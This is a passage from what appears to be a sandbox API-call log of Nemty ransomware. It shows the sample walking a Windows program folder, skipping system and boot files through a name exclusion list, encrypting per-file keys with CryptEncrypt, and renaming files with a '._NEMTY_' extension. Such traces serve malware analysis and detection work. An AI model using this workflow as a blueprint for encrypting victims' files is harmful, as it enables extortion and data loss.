lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0080.901] CloseHandle (hObject=0xffffffff) returned 0 [0080.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0080.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0080.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0080.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0080.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0080.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0080.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63403f0 [0080.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0080.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.901] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0080.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0080.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0080.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0080.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0080.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0080.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0080.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0080.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0080.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.902] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0080.902] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0080.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0080.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0080.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0080.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0080.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0080.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0080.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0080.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0080.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0080.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0080.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0080.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0080.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0080.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0080.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0080.903] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0080.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0080.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0080.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0080.903] Sleep (dwMilliseconds=0x5) [0080.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3e040d0, dwHighDateTime=0x1d561e7)) [0080.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3e040d0, dwHighDateTime=0x1d561e7)) [0080.915] GetLastError () returned 0x5 [0080.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0080.915] GetLastError () returned 0x5 [0080.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0080.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.915] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0080.915] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0080.915] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0080.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0080.915] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="vZKVv+D8mV3DAmLxUwSTLwa6EXD5phdisUTwCRPGFR1dS5IUHofzbiyQ0wROuTAz\r\ntwHDJRGraP4DoLQGwqm5Cakkz2nZG9xd3grUFHWZMl6aznqVLfYwoolK3yq1BsuR\r\nBMlzlhzaKKguAXGR+He+KG0T7sl790QuMjFyjhDT58MTUSQB07vD07vDrfCEGhqn\r\nA4Kmej5qbm+HxEGkSd/f3LIHBW5oAEyeESwvs3dBMyWFYr2GRLaS7RgRbiXeRIlS\r\nYuuoCxZLFcH7aVdJW/ZbwAY+k0eXY2p/NuxG4qc6IWzTkxS7UtwBIFtwie4LKPPW\r\nsh8t20PWdSeev6nuP4k5VA==\r\n", pcchString=0x653e91c) returned 1 [0080.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0080.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0080.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0080.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0080.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0080.916] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0080.916] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0080.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0080.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.944] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.944] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.980] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.989] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.998] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.008] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.008] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.017] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.023] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0081.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0081.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0081.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0081.030] CloseHandle (hObject=0xffffffff) returned 0 [0081.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0081.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0081.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0081.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0081.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0081.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0081.030] RtlAllocateHeap 